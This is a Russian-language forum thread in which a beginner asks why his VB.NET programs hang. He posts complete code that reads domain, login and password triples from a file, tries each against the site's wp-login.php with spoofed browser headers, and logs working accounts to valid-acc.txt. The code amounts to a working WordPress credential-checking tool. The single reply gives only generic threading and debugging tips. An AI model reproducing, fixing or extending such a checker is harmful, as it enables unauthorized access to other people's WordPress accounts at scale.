[Vb.Net 2010] Помогите найти, почему виснет программа?

[ocheretko]

Здравствуйте, у меня проблема с приложениями на vb. Программа работает, потом как-бы зависает, перестает работать, не выводит ничего в консоль. Я написал 5 программ, по функционалу похожих (работа с post,get запросами, парсинг) - все они зависают через несколько минут работы.

Подскажите пожалуйста, какими средствами отладки воспользоваться, чтобы найти свою ошибку? (я новичек в Vb)

Приведу пример кода одного из моих приложений:

Imports System.Net
Imports System.Text
Imports System.IO
Imports System.Text.RegularExpressions
Module Module1
    Sub Main()
        Dim login, password, domain As String
        Dim mysystemdir As String = AppDomain.CurrentDomain.BaseDirectory.ToString
        login = ""
        password = ""
        domain = ""
        For index = 1 To 100
            get_data_login(login, password, domain, mysystemdir)
            login_to_wp(login, password, domain, mysystemdir)
        Next
    End Sub
    Private Function get_data_login(ByRef login, ByRef password, ByRef domain, ByVal mysystemdir)
        Dim temp As String
        'Dim content_to_query As String = File.ReadAllText(mysystemdir & "query.txt")
        Dim stringlist()
        stringlist = File.ReadLines(mysystemdir & "query.txt").ToArray
        Try
        If Not String.IsNullOrEmpty(stringlist(0)) Then
            temp = stringlist(0)
            stringlist(0) = ""
        End If
        Catch ex As Exception
            End
        End Try
        Dim count_list As Integer = stringlist.Count
        Dim temp2 As String = ""
        For index = 1 To count_list - 1
            If index >= 1 Then
                temp2 = temp2 & stringlist(index) & Chr(10)
            End If
        Next
        File.WriteAllText(mysystemdir & "query.txt", temp2)
        Console.WriteLine(temp)
        'Console.ReadKey()
        If String.IsNullOrEmpty(temp) Then
            End
        End If
        Dim regexp2 As New Regex("(.+?)\:login\:(.+?)\:pass\:(.+)")
        Dim m2 As MatchCollection
        m2 = regexp2.Matches(temp)
        domain = m2.Item(0).Groups.Item(1).Value
        login = m2.Item(0).Groups.Item(2).Value
        password = m2.Item(0).Groups.Item(3).Value
        Return True
    End Function
    Private Function login_to_wp(ByVal login, ByVal password, ByVal domain, ByVal mysystemdir)
        Dim myHttpWebRequest As HttpWebRequest
        Dim myHttpWebResponse As HttpWebResponse
        Dim sCookies As String = ""
        myHttpWebRequest = HttpWebRequest.Create("http://" & domain & "/wp-login.php")
        myHttpWebRequest.Method = "POST"
        myHttpWebRequest.AllowAutoRedirect = False
        myHttpWebRequest.Timeout = 10000
        myHttpWebRequest.Referer = "http://" & domain & "/wp-login.php"
        myHttpWebRequest.UserAgent = "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16"
        myHttpWebRequest.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
        myHttpWebRequest.Headers.Add("Accept-Encoding", "deflate, gzip")
        myHttpWebRequest.Headers.Add("Accept-Charset", "windows-1251,utf-8;q=0.7,*;q=0.7")
        myHttpWebRequest.Headers.Add("Keep-Alive", "115")
        myHttpWebRequest.KeepAlive = True
        myHttpWebRequest.Headers.Add("Accept-Language", "ru,en-us;q=0.7,en;q=0.3")
        myHttpWebRequest.ContentType = "application/x-www-form-urlencoded"
        Dim sQueryString As String = "log=" & login & "&pwd=" & password & "&wp-submit=Log+In&redirect_to=" & domain & "&testcookie=1"
        Dim ByteArr As Byte() = Text.Encoding.GetEncoding(1251).GetBytes(sQueryString)
        myHttpWebRequest.ContentLength = ByteArr.Length()
        Try
            myHttpWebRequest.GetRequestStream().Write(ByteArr, 0, ByteArr.Length)
            myHttpWebResponse = myHttpWebRequest.GetResponse()
            Dim statuscode As String = myHttpWebResponse.StatusCode.ToString
            myHttpWebResponse.Close()
            Dim regexp2 As New Regex("(Found)")
            Dim m2 As MatchCollection
            m2 = regexp2.Matches(statuscode)
            Dim result_login As String = m2.Item(0).Groups.Item(1).Value
            Dim filenameok As String = "valid-acc.txt"
            If result_login = "Found" Then
                If File.Exists(mysystemdir & filenameok) = False Then
                    File.WriteAllText(mysystemdir & filenameok, "")
                End If
                Dim content As String = File.ReadAllText(mysystemdir & filenameok)
                Dim content_to_write = content & domain & ":login:" & login & "pass:" & password & Chr(10)
                File.WriteAllText(mysystemdir & filenameok, content_to_write)
            End If
        Catch ex As Exception
            Dim filenamebad As String = "invalid-acc.txt"
            If File.Exists(mysystemdir & filenamebad) = False Then
                File.WriteAllText(mysystemdir & filenamebad, "")
            End If
            Dim content As String = File.ReadAllText(mysystemdir & filenamebad)
            Dim content_to_write = content & domain & ":login:" & login & "pass:" & password & Chr(10)
            File.WriteAllText(mysystemdir & filenamebad, content_to_write)
        End Try
        Return True
    End Function
End Module

 

[Google.com]

1) Возможно выполнение этого цикла занимает много времени:
For index = 1 To 100

А интерфейс программы отвиснет только когда цикл отработает 100 интераций. Для того чтобы прога не висла нужно запускать отдельный поток.

Всё что в Sub Main() переносишь в:

Private Sub potok()
End Sub

А это вставляешь в Sub Main() :

Dim nthread As Thread
nthread = New Thread(AddressOf potok)
nthread.Start()

Не забудь про:
Imports System.Threading

2) Возможно где-то программа останавливается. Как вариант вставь в цикл чтобы визуально видеть проходит хотя бы один цикл:

For index = 1 To 100
msgbox("Привет")
...

Ну или в label выводить. Но в потоке не всё так просто, тупо Label1.text="..." не получится. Вот как вариант:
В цикле вставляешь что-то вроде addtext("Текст"), ну и саб под это дело:

Delegate Sub SetValueCallback(ByVal [value] As String)
Private Sub addtext(ByVal [value] As String)
If Me.Label1.InvokeRequired Then
Dim d As New SetValueCallback(AddressOf addtext)
Me.Invoke(d, New Object() {[value]})
Else
Label1.Text = [value]
End If
End Sub